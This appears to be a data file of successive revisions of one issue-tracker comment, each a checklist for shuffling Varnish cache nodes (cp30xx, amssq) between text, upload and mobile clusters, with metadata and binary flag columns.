+   1. [X] cp3036 -> cp3003 -> amssq5[12]
+   2. [X] cp3037 -> cp3004 -> amssq5[34]
+   3. [ ] cp3038 -> cp3005 -> amssq55
+   4. [ ] cp3039 -> cp3006 -> amssq56
+   5. [X] cp3046 -> cp3007 -> amssq59,60
+   6. [X] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009 -> amssq57
+   8. [ ] cp3049 -> cp3010 -> amssq58
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428636508,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+441605,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. [X] cp3036 -> cp3003 -> amssq5[12]
+   2. [X] cp3037 -> cp3004 -> amssq5[34]
+   3. [ ] cp3038 -> cp3005 -> amssq5[56]
+   4. [ ] cp3039 -> cp3006 -> amssq5[78]
+   5. [X] cp3046 -> cp3007 -> amssq59,60
+   6. [X] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009
+   8. [ ] cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428630215,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+441531,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. [X] cp3036 -> cp3003 -> amssq5[12]
+   2. [X] cp3037 -> cp3004 -> amssq5[34]
+   3. [ ] cp3038 -> cp3005 -> amssq5[56]
+   4. [ ] cp3039 -> cp3006 -> amssq5[78]
+   5. [ ] cp3046 -> cp3007 -> amssq59,60
+   6. [ ] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009
+   8. [ ] cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428618589,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440789,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. [ ] cp3036 -> cp3003 -> amssq5[12]
+   2. [ ] cp3037 -> cp3004 -> amssq5[34]
+   3. [ ] cp3038 -> cp3005 -> amssq5[56]
+   4. [ ] cp3039 -> cp3006 -> amssq5[78]
+   5. [ ] cp3046 -> cp3007 -> amssq59,60
+   6. [ ] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009
+   8. [ ] cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428542052,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440788,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. [ ] cp3036 -> cp3003 -> amssq5[12]
+   2. [ ] cp3037 -> cp3004 -> amssq5[34]
+   3. [ ] cp3038 -> cp3005 -> amssq5[56]
+   4. [ ] cp3039 -> cp3006 -> amssq5[78]
+   5. [ ] cp3046 -> cp3007 -> amssq59,60
+   6. [ ] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009
+   8. [ ] cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428542039,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440766,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [ ] cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. [ ] cp3036 -> cp3003 -> amssq5[12]
+   2. [ ] cp3037 -> cp3004 -> amssq5[34]
+   3. [ ] cp3038 -> cp3005 -> amssq5[56]
+   4. [ ] cp3039 -> cp3006 -> amssq5[78]
+   5. [ ] cp3046 -> cp3007 -> amssq59,60
+   6. [ ] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009
+   8. [ ] cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428540594,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440765,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [ ] cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. [ ] cp3036 -> cp3003 -> amssq5[12]
+   2. [ ] cp3037 -> cp3004 -> amssq5[34]
+   3. [ ] cp3038 -> cp3005 -> amssq5[56]
+   4. [ ] cp3039 -> cp3006 -> amssq5[78]
+   5. [ ] cp3046 -> cp3007 -> amssq59,60
+   6. [ ] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009
+   8. [ ] cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428540530,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440729,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [ ]cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [ ]cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. [ ] cp3036 -> cp3003 -> amssq5[12]
+   2. [ ] cp3037 -> cp3004 -> amssq5[34]
+   3. [ ] cp3038 -> cp3005 -> amssq5[56]
+   4. [ ] cp3039 -> cp3006 -> amssq5[78]
+   5. [ ] cp3046 -> cp3007 -> amssq59,60
+   6. [ ] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009
+   8. [ ] cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538301,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440728,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [ ]cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [ ]cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. cp3036 -> cp3003 -> amssq5[12]
+   2. cp3037 -> cp3004 -> amssq5[34]
+   3. cp3038 -> cp3005 -> amssq5[56]
+   4. cp3039 -> cp3006 -> amssq5[78]
+   5. cp3046 -> cp3007 -> amssq59,60
+   6. cp3047 -> cp3008 -> amssq6[12]
+   7. cp3048 -> cp3009
+   8. cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538269,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440727,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. cp303[23] + cp304[23] -> add to upload cluster
+
+4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. cp3036 -> cp3003 -> amssq5[12]
+   2. cp3037 -> cp3004 -> amssq5[34]
+   3. cp3038 -> cp3005 -> amssq5[56]
+   4. cp3039 -> cp3006 -> amssq5[78]
+   5. cp3046 -> cp3007 -> amssq59,60
+   6. cp3047 -> cp3008 -> amssq6[12]
+   7. cp3048 -> cp3009
+   8. cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538220,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440725,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+~~
+1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+~~
+
+~~2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~
+
+~~3. cp303[23] + cp304[23] -> add to upload cluster~~
+
+4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  ~~1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
+  ~~2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
+  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. cp3036 -> cp3003 -> amssq5[12]
+   2. cp3037 -> cp3004 -> amssq5[34]
+   3. cp3038 -> cp3005 -> amssq5[56]
+   4. cp3039 -> cp3006 -> amssq5[78]
+   5. cp3046 -> cp3007 -> amssq59,60
+   6. cp3047 -> cp3008 -> amssq6[12]
+   7. cp3048 -> cp3009
+   8. cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538155,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+440724,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+~~1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~
+
+~~2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~
+
+~~3. cp303[23] + cp304[23] -> add to upload cluster~~
+
+4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  ~~1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
+  ~~2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
+  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
+   1. cp3036 -> cp3003 -> amssq5[12]
+   2. cp3037 -> cp3004 -> amssq5[34]
+   3. cp3038 -> cp3005 -> amssq5[56]
+   4. cp3039 -> cp3006 -> amssq5[78]
+   5. cp3046 -> cp3007 -> amssq59,60
+   6. cp3047 -> cp3008 -> amssq6[12]
+   7. cp3048 -> cp3009
+   8. cp3049 -> cp3010
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538124,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
